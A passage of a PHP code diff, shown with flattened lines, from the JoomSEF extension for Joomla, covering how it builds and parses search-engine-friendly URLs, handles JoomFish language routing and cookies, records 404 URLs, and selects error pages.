!isset($lang)) { + JoomSEF::_endSef($prevLang); + return; + } + + $option = $uri->getVar('option'); + + if (!is_null($option)) { + $params =& SEFTools::getExtParams($option); + + // Check the stop rule + $stopRule = trim($params->get('stopRule', '')); + if( $stopRule != '' ) { + if( preg_match('/'.$stopRule.'/', $uri->toString()) > 0 ) { + // Don't SEF this URL + $uri = JoomSEF::_createUri($uri); + JoomSEF::_endSef($prevLang); + return; + } + } + + + $handling = $params->get('handling', '0'); + switch($handling) { + // skipped extensions + case '2': { + // Check homepage + if (JoomSEF::_isHomePage($uri)) { + $lang = $uri->getVar('lang'); + if (empty($lang)) { + $uri = new JURI('index.php'); + } + else { + $uri = new JURI('index.php?lang='.$lang); + } + } + + // Build URL + $uri = JoomSEF::_createUri($uri); + JoomSEF::_endSef($prevLang); + return; + } + // non-cached extensions + case '1': { + $router = JoomSEF::get('sef.global.jrouter'); + if( !empty($router) ) { + // Store language for later use + $uriLang = $uri->getVar('lang'); + $uri->delVar('lang'); + + // Check homepage + if (JoomSEF::_isHomePage($uri)) { + $url = 'index.php'; + } + else { + $url = $uri->toString(); + } + + // Build URL + $uri = $router->build($url); + + // Add language if needed + if (!is_null($uriLang)) { + $route = $uri->getPath(); + $route = JoomSEF::_addLangToRoute($route, $uriLang); + $uri->setPath($route); + } + } + JoomSEF::_endSef($prevLang); + return; + } + // default handler or basic rewriting + default: { + // if component has its own sef_ext plug-in included. + // however, prefer own plugin if exists (added by Michal, 28.11.2006) + $compExt = JPATH_ROOT. '/' .'components'. '/' .$option. '/' .'router.php'; + $ownExt = JPATH_ROOT. '/' .'components'. '/' .'com_sef'. '/' .'sef_ext'. '/' .$option.'.php'; + // compatible extension build block + if (file_exists($compExt) && !file_exists($ownExt) && ($handling == '0')) { + // Check homepage + if (JoomSEF::_isHomePage($uri)) { + $lang = $uri->getVar('lang'); + if (empty($lang)) { + $uri = new JURI('index.php'); + } + else { + $uri = new JURI('index.php?lang='.$lang); + } + + // Build URL + $uri = JoomSEF::_createUri($uri); + JoomSEF::_endSef($prevLang); + return; + } + + // load the plug-in file + require_once($compExt); + + // Store the language for later use + $uriLang = $uri->getVar('lang'); + $uri->delVar('lang'); + + $app =JFactory::getApplication(); + $menu =& JSite::getMenu(); + $route = $uri->getPath(); + $query = $uri->getQuery(true); + $component = preg_replace('/[^A-Z0-9_\.-]/i', '', $query['option']); + $tmp = ''; + + $function = substr($component, 4) . 'BuildRoute'; + $parts = $function($query); + + $total = count($parts); + for ($i = 0; $i < $total; $i++) { + $parts[$i] = str_replace(':', '-', $parts[$i]); + } + + $result = implode('/', $parts); + $tmp = ($result != "") ? '/'.$result : ''; + + // build the application route + $built = false; + if (isset($query['Itemid']) && !empty($query['Itemid'])) { + $item = $menu->getItem($query['Itemid']); + + if (is_object($item) && $query['option'] == $item->component) { + $tmp = !empty($tmp) ? $item->route.$tmp : $item->route; + $built = true; + } + } + + if(!$built) { + $tmp = 'component/'.substr($query['option'], 4).$tmp; + } + + $route .= '/'.$tmp; + if($app->getCfg('sef_suffix') && !(substr($route, -9) == 'index.php' || substr($route, -1) == '/')) { + if (($format = $uri->getVar('format', 'html'))) { + $route .= '.' . $format; + $uri->delVar('format'); + } + } + + if($app->getCfg('sef_rewrite')) { + // transform the route + $route = str_replace('index.php/', '', $route); + } + + // Unset unneeded query information + unset($query['Itemid']); + unset($query['option']); + + // Add language to route if needed + if (!is_null($uriLang)) { + $route = JoomSEF::_addLangToRoute($route, $uriLang); + } + + //Set query again in the URI + $uri->setQuery($query); + $uri->setPath($route); + + $uri = JoomSEF::_createUri($uri); + + JoomSEF::_endSef($prevLang); + return; + } + // own extension block + else { + if ($handling == '3') { + // Basic rewriting + $class = 'SefExt_Basic'; + } + else { + if (file_exists($ownExt)) { + $class = 'SefExt_'.$option; + require_once($ownExt); + + if (!class_exists($class)) { + $class = 'SefExt'; + } + } else { + $class = 'SefExt'; + } + } + $sef_ext = new $class(); + + // Let the extension change the url and options + $sef_ext->beforeCreate($uri); + + // Ensure that the session IDs are removed + // If set to + $sid = $uri->getVar('sid'); + if (!$sefConfig->dontRemoveSid) $uri->delVar('sid'); + // Ensure that the mosmsg are removed. + $mosmsg = $uri->getVar('mosmsg'); + $uri->delVar('mosmsg'); + + // override Itemid if set to + $override = $params->get('itemid', '0'); + $overrideId = $params->get('overrideId', ''); + if (($override != '0') && ($overrideId != '')) { + $uri->setVar('Itemid', $overrideId); + } + + // clean Itemid if desired + // David: only if overriding is disabled + if (isset($sefConfig->excludeSource) && $sefConfig->excludeSource && ($override == '0')) { + $Itemid = $uri->getVar('Itemid'); + $uri->delVar('Itemid'); + } + + // Get nonsef and ignore vars from extension + list($nonSefVars, $ignoreVars) = $sef_ext->getNonSefVars($uri); + + // Create array of all the non sef vars + $nonSefVars = SEFTools::getNonSefVars($uri, $nonSefVars, $ignoreVars); + + // Create a copy of JURI object + $uri2 = clone($uri); + + // Remove nonsef variables from our JURI copy + $nonSefUrl = SEFTools::RemoveVariables($uri2, array_keys($nonSefVars)); + + // Check homepage + if (JoomSEF::_isHomePage($uri2, true)) { + $title = array(); + $data = JoomSEF::_sefGetLocation($uri, $title, null, null, null, $uri->getVar('lang')); + $uri = JoomSEF::_storeLocation($data); + JoomSEF::_endSef($prevLang); + return; + } + + $url = JoomSEF::_uriToUrl($uri2); + + // try to get url from cache + $sefUrl = false; + if ($sefConfig->useCache) { + $sefUrl = $cache->GetSefUrl($url); + } + if (!$sefConfig->useCache || !$sefUrl) { + // check if the url is already saved in the database + $sefUrl = $sef_ext->getSefUrlFromDatabase($uri2); + + if (is_string($sefUrl)) { + // Backward compatibility + $sefstring = $sefUrl; + $sefUrl = new stdClass(); + $sefUrl->sefurl = $sefstring; + $sefUrl->sef = 1; + } + } + + if (!$sefUrl) { + // rewrite the URL, creating new JURI object + $data = $sef_ext->create($uri); + if (is_object($data) && is_a($data, 'JURI')) { + // Backwards compatibility + $uri = $data; + } + else { + $uri = JoomSEF::_storeLocation($data); + } + } else { + // if SEF is disabled, don't SEF + if (isset($sefUrl->sef) && !$sefUrl->sef) { + $uri = JoomSEF::_createUri($uri); + JoomSEF::_endSef($prevLang); + return; + } + + // Create new JURI object from $sefstring + $url = JURI::root(); + + if (substr($url, -1) != '/') { + $url .= '/'; + } + $url .= $sefUrl->sefurl; + + // Add nonSef part if set + if( !empty($nonSefUrl) ) { + $url .= '?'.$nonSefUrl; + } + + // Add fragment if set + $fragment = $uri->getFragment(); + if (!empty($fragment)) { + $url .= '#'.$fragment; + } + + $uri = new JURI($url); + } + + // reconnect the sid to the url + if (!empty($sid) && !$sefConfig->dontRemoveSid) $uri->setVar('sid', $sid); + // reconnect mosmsg to the url + if (!empty($mosmsg)) $uri->setVar('mosmsg', $mosmsg); + + // reconnect ItemID to the url + // David: only if extension doesn't set its own Itemid through overrideId parameter + if (isset($sefConfig->excludeSource) && $sefConfig->excludeSource && $sefConfig->reappendSource && ($override == '0') && !empty($Itemid)) { + $uri->setVar('Itemid', $Itemid); + } + + // let the extension change the resulting SEF url + $sef_ext->afterCreate($uri); + } + } + } + } + else if (!is_null($uri->getVar('Itemid'))) { + // there is only Itemid present - we must override the Ignore multiple sources option + $oldIgnore = $sefConfig->ignoreSource; + $sefConfig->ignoreSource = 0; + + $title = array(); + $title[] = JoomSEF::_getMenuTitle(null, null, $uri->getVar('Itemid')); + + $data = JoomSEF::_sefGetLocation($uri, $title, null, null, null, $uri->getVar('lang')); + $uri = JoomSEF::_storeLocation($data); + + $sefConfig->ignoreSource = $oldIgnore; + } + + JoomSEF::_endSef($prevLang); + } + + function _addLangToRoute($route, $lang) + { + if (!SEFTools::JoomFishInstalled()) { + return $route; + } + + $sefConfig = SEFConfig::getConfig(); + + if (($sefConfig->mainLanguage == '0') || ($lang != $sefConfig->mainLanguage)) { + switch ($sefConfig->langPlacement) + { + case _COM_SEF_LANG_PATH: + if (!empty($route)) { + if ($route[0] == '/') { + $route = '/' . $lang . $route; + } + else { + $route = $lang . '/' . $route; + } + } + else { + $route = $lang; + } + break; + case _COM_SEF_LANG_SUFFIX: + if (empty($route)) { + $route = $lang; + } + else { + // Is there some suffix? + $dotPos = strrpos($route, '.'); + if ($dotPos === false) { + // No suffix + $route .= '_'.$lang; + } + else { + // There may be a suffix, try to find the rightmost slash and check its position + $slashPos = strrpos($route, '/'); + if (($slashPos === false) || ($slashPos < $dotPos)) { + // Suffix + $route = substr($route, 0, $dotPos) . '_' . $lang . substr($route, $dotPos); + } + else { + // Not a suffix + $route .= '_'.$lang; + } + } + } + break; + } + } + + return $route; + } + + function _parseLangFromRoute(&$route) + { + if (!SEFTools::JoomFishInstalled()) { + return null; + } + + $sefConfig = SEFConfig::getConfig(); + + $lang = null; + if (empty($route)) { + return $lang; + } + + switch ($sefConfig->langPlacement) + { + case _COM_SEF_LANG_PATH: + // Get the first part of route + $parts = explode('/', $route); + $part = trim($parts[0]); + if (!is_null(SEFTools::getLangLongCode($part))) { + $lang = $part; + + // Remove language from route + $route = substr($route, strlen($part) + 1); + } + break; + + case _COM_SEF_LANG_SUFFIX: + $scorePos = strrpos($route, '_'); + + if ($scorePos === false) { + // No underscore + $part = $route; + $newRoute = ''; + } + else { + // Try to find suffix + $dotPos = strrpos($route, '.'); + + if (($dotPos === false) || ($dotPos < $scorePos)) { + // No suffix + $part = substr($route, $scorePos + 1); + $newRoute = substr($route, 0, $scorePos); + } + else { + // Remove suffix + $part = substr($route, $scorePos + 1, $dotPos - $scorePos - 1); + $newRoute = substr($route, 0, $scorePos) . substr($route, $dotPos); + } + } + + if (!is_null(SEFTools::getLangLongCode($part))) { + $lang = $part; + $route = $newRoute; + } + break; + } + + return $lang; + } + + function parse(&$uri) + { + $mainframe =JFactory::getApplication(); + + // test for the backlink plugin to work correctly + if (JPluginHelper::isEnabled('system', 'backlink')) { // && $uri->getQuery() ) { // commented out - causing problems + $joomlaRequest = urldecode($_SERVER['REQUEST_URI']); + $realRequest = $uri->toString(array('path', 'query')); + + if ($realRequest != $joomlaRequest) { + $uri = new JURI($joomlaRequest); + } + } + + // store the old URI before we change it in case we will need it + // for default Joomla SEF + $oldUri = new JURI($uri->toString()); + + $sefConfig =& SEFConfig::getConfig(); + + // load patches + JPluginHelper::importPlugin('sefpatch'); + + // trigger onSefLoad patches + $mainframe->triggerEvent('onSefLoad'); + + // get path + $path = $uri->getPath(); + + // remove basepath + $path = substr_replace($path, '', 0, strlen(JURI::base(true))); + + // remove slashes + $path = ltrim($path, '/'); + + // Redirect the index.php (need to check this before index.php removal) + if ($sefConfig->fixIndexPhp && ($path == 'index.php') && (count($_POST) == 0)) { + $q = $uri->getQuery(true); + if (count($q) == 0) { + $newUrl = JURI::root(); + if (substr($newUrl, -1) != '/') { + $newUrl .= '/'; + } + $mainframe->redirect($newUrl, '', 'message', true); + exit(); + } + } + + // Try the 301 Alias redirect + if (count($_POST) == 0) { + JoomSEF::_parseAlias($path, $uri->getQuery(true)); + } + + // Disable non-SEF redirect for index2.php links + // EDIT: don't even parse index2.php links! + if (substr($path, 0, 10) == 'index2.php') { + //$sefConfig->nonSefRedirect = false; + return $uri->getQuery(true); + } + + // Redirect old /index.php/ links if set to + if ($sefConfig->fixIndexPhp && (substr($path, 0, 10) == 'index.php/') && (count($_POST) == 0)) { + $newUrl = JURI::root(); + if (substr($newUrl, -1) != '/') { + $newUrl .= '/'; + } + $newUrl .= substr($path, 10); + $mainframe->redirect($newUrl, '', 'message', true); + exit(); + } + + // remove prefix (both index.php and index2.php) + $path = preg_replace('/^index2?.php/i', '', $path); + + // remove slashes again to be sure there aren't any left + $path = ltrim($path, '/'); + + // replace spaces with our replacement character + // (mainly for '+' handling, but may be useful in some other situations too) + $path = str_replace(' ', $sefConfig->replacement, $path); + + // set the route + $uri->setPath($path); + + // host name handling + if (SEFTools::JoomFishInstalled() && ($sefConfig->langPlacement == _COM_SEF_LANG_DOMAIN) && !JPluginHelper::isEnabled('system', 'jfrouter')) { + // different domains for languages handling + $host = $uri->toString(array('host')); + $host = trim($host, '/'); + + $code = null; + foreach ($sefConfig->jfSubDomains as $langCode => $domain) { + if ($host == $domain) { + // if main language is not selected, use the first corresponding domain + if ($sefConfig->mainLanguage == '0') { + $code = $langCode; + break; + } + // main language is selected, use domain only if code is not already set, + // or the domain corresponds to main language + else { + if ($langCode == $sefConfig->mainLanguage) { + $code = $langCode; + break; + } + else if (is_null($code)) { + $code = $langCode; + } + } + } + } + + // we found a matching domain + if (!is_null($code)) { + JRequest::setVar('lang', $code); + $config =JFactory::getConfig(); + $config->set('joomsef.domain_lang', $code); + } + } + + // parse the url + $vars = JoomSEF::_parseSefUrl($uri, $oldUri); + + // handle custom site name for extensions + if (isset($vars['option'])) { + $params =& SEFTools::getExtParams($vars['option']); + + $useSitename = $params->get('useSitename', '1'); + $customSitename = trim($params->get('customSitename', '')); + + $config =JFactory::getConfig(); + + if ($useSitename == '0') { + // don't use site name + $config->set('sitename', ''); + } + elseif (!empty($customSitename)) { + // use custom site name + $config->set('sitename', $customSitename); + } + } + + // trigger onSefUnload patches + $mainframe->triggerEvent('onSefUnload'); + + return $vars; + } + + function _determineLanguage($getLang = null, $redir = false, $useMainLang = false) + { + // set the language for JoomFish + if (SEFTools::JoomFishInstalled()) { + $sefConfig =& SEFConfig::getConfig(); + $registry =JFactory::getConfig(); + + // Check if the Jfrouter is enabled + $jfrouterEnabled = JPluginHelper::isEnabled('system', 'jfrouter'); + + // save the default language of the site if needed + if( !$jfrouterEnabled ) { + $locale = $registry->get('language'); + $GLOBALS['mosConfig_defaultLang'] = $locale; + $registry->set("defaultlang", $locale); + } + + // get instance of JoomFishManager to obtain active language list and config values + $jfm =& JoomFishManager::getInstance(); + + // Get language from request + if (!empty($getLang)) { + $lang = $getLang; + } + + // Try to get language code from JF cookie + if ($sefConfig->jfLangCookie) { + $jfCookie = JRequest::getVar('jfcookie', null, 'COOKIE'); + if( isset($jfCookie['lang']) ) { + $cookieCode = $jfCookie['lang']; + } + } + + // Try to find language from browser settings + if( $sefConfig->jfBrowserLang && isset($_SERVER['HTTP_ACCEPT_LANGUAGE']) && !empty($_SERVER['HTTP_ACCEPT_LANGUAGE']) ) { + $active_iso = array(); + $active_isocountry = array(); + $active_code = array(); + $activeLanguages = $jfm->getActiveLanguages(); + + if( count( $activeLanguages ) > 0 ) { + foreach ($activeLanguages as $alang) { + $active_iso[] = $alang->iso; + if( preg_match('/[_-]/i', $alang->iso) ) { + $iso = str_replace('_', '-', $alang->iso); + $isocountry = explode('-', $iso); + $active_isocountry[] = $isocountry[0]; + } + $active_code[] = $alang->shortcode; + } + + // figure out which language to use - browser languages are based on ISO codes + $browserLang = explode(',', $_SERVER["HTTP_ACCEPT_LANGUAGE"]); + + foreach ($browserLang as $blang) { + if( in_array($blang, $active_iso) ) { + $client_lang = $blang; + break; + } + $shortLang = substr( $blang, 0, 2 ); + if (in_array($shortLang, $active_isocountry)) { + $client_lang = $shortLang; + break; + } + + // compare with code + if (in_array($shortLang, $active_code)) { + $client_lang = $shortLang; + break; + } + } + + if (!empty($client_lang)) { + if( strlen($client_lang) == 2 ) { + $browserCode = SEFTools::getLangLongCode($client_lang); + } + else { + $browserCode = $client_lang; + } + } + } + } + + if (!$jfrouterEnabled && + $redir && + ($sefConfig->langPlacement != _COM_SEF_LANG_DOMAIN) && + (isset($cookieCode) || isset($browserCode)) && + ($sefConfig->mainLanguage != '0')) + { + if (isset($cookieCode)) { + $sc = SEFTools::getLangCode($cookieCode); + } + else { + $sc = SEFTools::getLangCode($browserCode); + } + + // Check the referer to see if we should redirect + $shouldRedir = false; + if (isset($_SERVER['HTTP_REFERER'])) { + $refUri = new JURI($_SERVER['HTTP_REFERER']); + $uri = JURI::getInstance(); + $refHost = $refUri->getHost(); + $host = $uri->getHost(); + + if ($refHost != $host) { + $shouldRedir = true; + } + } + else { + $shouldRedir = true; + } + + if ($shouldRedir) { + if ((!empty($lang) && ($sc != $lang)) || (empty($lang) && ($sc != $sefConfig->mainLanguage))) { + // Redirect to correct site + $mainframe =JFactory::getApplication(); + $href = JRoute::_('index.php?lang='.$sc, false); + $mainframe->redirect($href); + exit(); + } + } + } + + // Check if language is selected + if (empty($lang) && !$jfrouterEnabled) { + // If route and query string are empty, use the main language + // note: removed && $redir - it was not possible to switch language to main language + // on other page than homepage (let's see if it causes any other problem) + // note: added $useMainLang - now it should work for both the VM checkout and using + // main language with component's own router + if ($useMainLang && (empty($code) || !JLanguage::exists($code))) { + if( ($sefConfig->mainLanguage != '0') ) { + $code = SEFTools::GetLangLongCode($sefConfig->mainLanguage); + } + } + + // Try to get language code from JF cookie + if (empty($code) || !JLanguage::exists($code)) { + if (isset($cookieCode)) { + $code = $cookieCode; + } + } + + // Try to get language from browser if needed + if (empty($code) || !JLanguage::exists($code)) { + if (isset($browserCode)) { + $code = $browserCode; + } + } + + // Get language from configuration if needed + if (empty($code) || !JLanguage::exists($code)) { + if( ($sefConfig->mainLanguage != '0') ) { + $code = SEFTools::GetLangLongCode($sefConfig->mainLanguage); + } + } + + // Get default language if needed + if (empty($code) || !JLanguage::exists($code)) { + $code = $registry->get('language'); + } + } + + // get language long code if needed + if (empty($code)) { + if (empty($lang)) { + return; + } + + $code = SEFTools::getLangLongCode($lang); + } + + if (!empty($code)) { + $jfrparams = $registry->get('jfrouter.params'); + + // set the site language + $resetLang = false; + if( $code != SEFTools::getLangLongCode() ) { + if (!$jfrouterEnabled || ($jfrouterEnabled && $jfrparams->get('sefordomain', 'sefprefix') == 'sefprefix')) { + $language =JFactory::getLanguage(); + $language->setLanguage($code); + $language->load(); + + // set the backward compatible language + $backLang = $language->getBackwardLang(); + $GLOBALS['mosConfig_lang'] = $backLang; + $registry->set("lang", $backLang); + + $resetLang = true; + } + } + + // set joomfish language if needed + if( $resetLang || !$jfrouterEnabled ) { + $jfLang = TableJFLanguage::createByJoomla($code); + $registry->set("joomfish.language", $jfLang); + + // set some more variables + $mainframe =JFactory::getApplication(); + $registry->set("multilingual_support", true); + $mainframe->setUserState('application.lang',$jfLang->code); + $registry->set("jflang", $jfLang->code); + $registry->set("lang_site",$jfLang->code); + $registry->set("language",$jfLang->code); + $registry->set("language",$jfLang); + + // overwrite global config with values from $jfLang if set to in JoomFish + $jfparams = JComponentHelper::getParams("com_joomfish"); + $overwriteGlobalConfig = $jfparams->get( 'overwriteGlobalConfig', 0 ); + if($overwriteGlobalConfig ) { + // We should overwrite additional global variables based on the language parameter configuration + $langParams = new JParameter( $jfLang->params ); + $paramarray = $langParams->toArray(); + foreach ($paramarray as $key=>$val) { + $registry->set($key,$val); + + if (defined("_JLEGACY")){ + $name = 'mosConfig_'.$key; + $GLOBALS[$name] = $val; + } + } + } + + // set the cookie with language + if ((!$jfrouterEnabled && $sefConfig->jfLangCookie) || + ($jfrouterEnabled && $jfrparams->get('enableCookie', 1))) { + setcookie( "lang", "", time() - 1800, "/" ); + setcookie( "jfcookie", "", time() - 1800, "/" ); + setcookie( "jfcookie[lang]", $code, time()+24*3600, '/' ); + } + } + } + } + } + + function _parseSefUrl(&$uri, &$oldUri) + { + $mainframe =JFactory::getApplication(); + + $db =ShlDbHelper::getDb(); + $sefConfig =& SEFConfig::getConfig(); + + $route = $uri->getPath(); + $oldRoute = $jSef = str_replace(' ', '+', urldecode($oldUri->getPath())); + $oldRoute = ltrim($oldRoute, '/'); + + //Get the variables from the uri + $vars = $uri->getQuery(true); + + // Should we generate canonical link automatically? + $generateCanonical = (count($vars) > 0); + + // handle an empty URL (special case) + if (empty($route)) { + if (count($vars) > 0 || count($_POST) > 0) { + $redir = false; + } + else { + $redir = true; + } + JoomSEF::_determineLanguage(JRequest::getVar('lang'), $redir, $redir); + + $menu =& JSite::getMenu(true); + + // if route is empty AND option is set in the query, assume it's non-sef url, and parse apropriately + if (isset($vars['option']) || isset($vars['Itemid'])) { + return JoomSEF::_parseRawRoute($uri); + } + + $item = $menu->getDefault(); + + //Set the information in the request + $vars = $item->query; + + //Get the itemid + $vars['Itemid'] = $item->id; + + // Set the active menu item + $menu->setActive($vars['Itemid']); + + // Create automatic canonical link if set to + if ($generateCanonical) { + $extAuto = 2; + if (isset($vars['option'])) { + $params =& SEFTools::getExtParams($vars['option']); + $extAuto = $params->get('autoCanonical', 2); + } + $autoCanonical = ($extAuto == 2) ? $sefConfig->autoCanonical : $extAuto; + + if ($extAuto) { + JoomSEF::set('sef.link.canonical', JURI::root()); + } + } + + // MetaTags for frontpage + $db->setQuery("SELECT `id` FROM `#__plugins` WHERE `element` = 'joomsef' AND `folder` = 'system' AND `published` = '1'"); + if ($db->loadResult()) { + // ... and frontpage has meta tags + // If JoomFish installed, get all the URLs for frontpage and try to find the correct language + $lang = JRequest::getVar('lang'); + $query = "SELECT * FROM `#__sefurls` WHERE (`sefurl` = '' OR `sefurl` = 'index.php') AND `trashed` = '0'"; + if (SEFTools::JoomFishInstalled() && !is_null($lang)) { + $db->setQuery($query); + $sefRows = $db->loadObjectList(); + + if (is_array($sefRows) && (count($sefRows) > 0)) { + $noLang = null; + foreach ($sefRows as $row) { + if (preg_match('/[?&]lang='.$lang.'($|&)/', $row->origurl) > 0) { + $sefRow = $row; + break; + } + + // Save the first URL with no lang variable + if (is_null($noLang)) { + if (preg_match('/[?&]lang=[^&]*/', $row->origurl) == 0) { + $noLang = $row; + } + } + } + + // If not found, try to use the one without lang variable + if (empty($sefRow) && !is_null($noLang)) { + $sefRow = $noLang; + } + } + } + else { + // Try to find it the old way + $db->setQuery($query . ' LIMIT 1'); + $sefRow = $db->loadObject(); + } + if( !empty($sefRow) ) { + $mainframe =JFactory::getApplication(); + if (!empty($sefRow->metatitle)) JoomSEF::set('sef.meta.title', $sefRow->metatitle); + if (!empty($sefRow->metadesc)) JoomSEF::set('sef.meta.desc', $sefRow->metadesc); + if (!empty($sefRow->metakey)) JoomSEF::set('sef.meta.key', $sefRow->metakey); + if (!empty($sefRow->metalang)) JoomSEF::set('sef.meta.lang', $sefRow->metalang); + if (!empty($sefRow->metarobots)) JoomSEF::set('sef.meta.robots', $sefRow->metarobots); + if (!empty($sefRow->metagoogle)) JoomSEF::set('sef.meta.google', $sefRow->metagoogle); + if (!empty($sefRow->canonicallink)) JoomSEF::set('sef.link.canonical', $sefRow->canonicallink); + if (!empty($sefRow->metacustom)) { + $metacustom = @unserialize($sefRow->metacustom); + if (!empty($metacustom)) { + JoomSEF::set('sef.meta.custom', $metacustom); + } + } + } + } + + return $vars; + } + + $disabled = false; + $sef_ext = new SefExt(); + $newVars = $sef_ext->revert($route, $disabled); + + // We need to determine language BEFORE Joomla SEO + // so the menu is translated correctly + $config =JFactory::getConfig(); + $lang = $config->get('joomsef.domain_lang'); + if (empty($lang)) { + $lang = (isset($newVars['lang']) ? $newVars['lang'] : (isset($vars['lang']) ? $vars['lang'] : null)); + } + + // If the URL was not parsed and we do not have a language, try to + // parse it from URL in case the default router was used + if (empty($newVars) && empty($lang) && SEFTools::JoomFishInstalled()) { + $lang = JoomSEF::_parseLangFromRoute($route); + if (!is_null($lang)) { + $langRoute = $route; + } + } + + JoomSEF::_determineLanguage($lang, false, true); + + if (!empty($newVars) && !empty($vars)) { + // If this was SEF url, consider the vars in query as nonsef + $nonsef = array_diff_key($vars, $newVars); + if (!empty($nonsef)) { + JoomSEF::set('sef.global.nonsefvars', $nonsef); + } + } + + // try to parse joomla native seo + if ($sefConfig->parseJoomlaSEO && empty($newVars)) { + $oldUrl = $oldUri->toString(array('path', 'query', 'fragment')); + if (isset($langRoute)) { + $oldUri->setPath($langRoute); + } + $router = JoomSEF::get('sef.global.jrouter'); + $jvars = $router->parse($oldUri); + if (!empty($jvars['option']) || !empty($jvars['Itemid'])) { + // Try to get the SEF URL + $oldDisable = $sefConfig->disableNewSEF; + $sefConfig->disableNewSEF = true; + + // Remove the default format if set + if (isset($jvars['format']) && ($jvars['format'] == 'html')) { + unset($jvars['format']); + } + + $jUri = new JURI('index.php'); + $jUri->setQuery($jvars); + $jUrl = $jUri->toString(array('path', 'query', 'fragment')); + $jSef = JRoute::_($jUrl); + $jSef = str_replace('&', '&', $jSef); + + // Fix the spaces + $oldUrl = str_replace(' ', '+', $oldUrl); + $jSef = str_replace(' ', '+', urldecode($jSef)); + + // Restore the configuration + $sefConfig->disableNewSEF = $oldDisable; + + // Redirect if possible + if ($sefConfig->redirectJoomlaSEF && (count($_POST) == 0)) { + // Non-SEF redirect + if ((strpos($jSef, 'index.php?') === false) && ($oldUrl != $jSef)) { + // Check start/limitstart - we don't want to redirect if this is the only difference + if (str_replace('limitstart=', 'start=', $oldUrl) != str_replace('limitstart=', 'start=', $jSef)) { + // Seems the URL is SEF, let's redirect + $f = $l = ''; + if( !headers_sent($f, $l) ) { + $mainframe =JFactory::getApplication(); + $mainframe->redirect($jSef, '', 'message', true); + exit(); + } else { + JoomSEF::_headers_sent_error($f, $l, __FILE__, __LINE__); + } + } + } + } + + // Redirect was not possible + /* removed - causing problems + // Check to see if the component is handled by the default joomla router + if (!isset($jvars['option'])) { + // Get the option from menu item + $menu =& JSite::getMenu(true); + $item =& $menu->getItem($jvars['Itemid']); + + if (!is_null($item) && isset($item->query['option'])) + { + $jopt = $item->query['option']; + } + } + else { + $jopt = $jvars['option']; + } + + if (isset($jopt)) { + $jparams = SEFTools::getExtParams($jopt); + // Default Joomla router in use? + if ($jparams->get('handling', '0') == '1') { + // OK, we can show the page for this component + $newVars = $jvars; + } + // JoomSEF router used? + else if ($jparams->get('handling', '0') == '0') { + // We can show the page only if there is no JoomSEF extension installed + $ownExt = JPATH_ROOT. '/' .'components'. '/' .'com_sef'. '/' .'sef_ext'. '/' .$jopt.'.php'; + if (!file_exists($ownExt)) { + $newVars = $jvars; + } + } + } + */ + + // We should show the page, but use the canonical link if SEF exists but redirection was not possible + $newVars = $jvars; + if ((strpos($jSef, 'index.php?') === false) && ($oldUrl != $jSef)) { + $jSef = rtrim(JURI::root(), '/') . '/' . ltrim($jSef, '/'); + JoomSEF::set('sef.link.canonical', $jSef); + } + } + } + + if (!empty($vars)) { + // append the original query string because some components + // (like SMF Bridge and SOBI2) use it + $vars = array_merge($vars, $newVars); + } else { + $vars = $newVars; + } + + if (!empty($newVars) && !$disabled) { + // Parsed correctly and enabled + JoomSEF::_sendHeader('HTTP/1.0 200 OK'); + + // Create automatic canonical link if set to and it is not already set + $canonical = JoomSEF::get('sef.link.canonical'); + if ($generateCanonical && empty($canonical)) { + $extAuto = 2; + if (isset($vars['option'])) { + $params =& SEFTools::getExtParams($vars['option']); + $extAuto = $params->get('autoCanonical', 2); + } + $autoCanonical = ($extAuto == 2) ? $sefConfig->autoCanonical : $extAuto; + + if ($extAuto) { + $canonical = rtrim(JURI::root(), '/') . '/' . $oldRoute; + JoomSEF::set('sef.link.canonical', $canonical); + } + } + } + else + { + // set nonsef vars + JoomSEF::set('sef.global.nonsefvars', $vars); + + // bad URL, so check to see if we've seen it before + // 404 recording (only if enabled) + if ($sefConfig->record404) { + $query = 'SELECT `id` FROM `#__sefurls` WHERE `sefurl` = '.$db->Quote($oldRoute)." AND `trashed` = '0'"; + $db->setQuery($query); + $resultId = $db->loadResult(); + + if ($resultId) { + // we have it, so update counter + $db->setQuery("UPDATE `#__sefurls` SET `cpt`=(`cpt`+1) WHERE `id` = '{$resultId}'"); + $db->query(); + } + else { + // get trace info + if (@$sefConfig->trace) { + $traceinfo = $db->Quote(JoomSEF::_getDebugInfo($sefConfig->traceLevel, true)); + } + else $traceinfo = "NULL"; + + // record the bad URL + $query = 'INSERT INTO `#__sefurls` (`cpt`, `sefurl`, `origurl`, `trace`, `dateadd`) ' + . " VALUES ('1', ".$db->Quote($oldRoute).", '', {$traceinfo}, CURDATE())"; + $db->setQuery($query); + $db->query(); + } + } + + // redirect to the error page + $vars = JoomSEF::_get404vars($route); + } + + // Set QUERY_STRING if set to + if ($sefConfig->setQueryString) { + $qs = array(); + foreach ($vars as $name => $val) { + if (is_array($val)) { + foreach ($val as $k => $v) { + $qs[] = $name . '[' . $k . ']=' . urlencode($v); + } + } + else { + $qs[] = $name . '=' . urlencode($val); + } + } + $qs = implode('&', $qs); + if (!empty($qs)) { + $_SERVER['QUERY_STRING'] = $qs; + } + } + + return $vars; + } + + function _get404vars($route = '') + { + $mainframe =JFactory::getApplication(); + + $db =ShlDbHelper::getDb(); + $sefConfig =& SEFConfig::getConfig(); + + // Send 404 header + JoomSEF::_sendHeader('HTTP/1.0 404 Not Found'); + + // you MUST create a static content page with the title 404 for this to work properly + if ($sefConfig->showMessageOn404) { + $mosmsg = 'FILE NOT FOUND: '.$route; + $mainframe->enqueueMessage($mosmsg); + } + else $mosmsg = ''; + + $sefConfig->page404 = intval($sefConfig->page404); + if ($sefConfig->page404 == _COM_SEF_404_DEFAULT) { + $sql = 'SELECT `id` FROM `#__content` WHERE `title`= "404"'; + $db->setQuery($sql); + + if (($id = $db->loadResult())) { + $vars['option'] = 'com_content'; + $vars['view'] = 'article'; + $vars['id'] = $id; + } + else { + // Article does not exist, show standard Joomla error + JError::raiseError(404, JText::_('Not found')); + } + } + elseif ($sefConfig->page404 == _COM_SEF_404_FRONTPAGE) { + $menu =& JSite::getMenu(true); + $item = $menu->getDefault(); + + //Set the information in the frontpage request + $vars = $item->query; + + //Get the itemid + $vars['Itemid'] = $item->id; + $menu->setActive($vars['Itemid']); + } + elseif ($sefConfig->page404 == _COM_SEF_404_JOOMLA) { + JError::raiseError(404, JText::_('Not found')); + } + else { + $id = $sefConfig->page404; + $vars['option'] = 'com_content'; + $vars['view'] = 'article'; + $vars['id'] = $id; + } + + // If custom Itemid set, use it + if ($sefConfig->use404itemid) { + $vars['Itemid'] = $sefConfig->itemid404; + } + 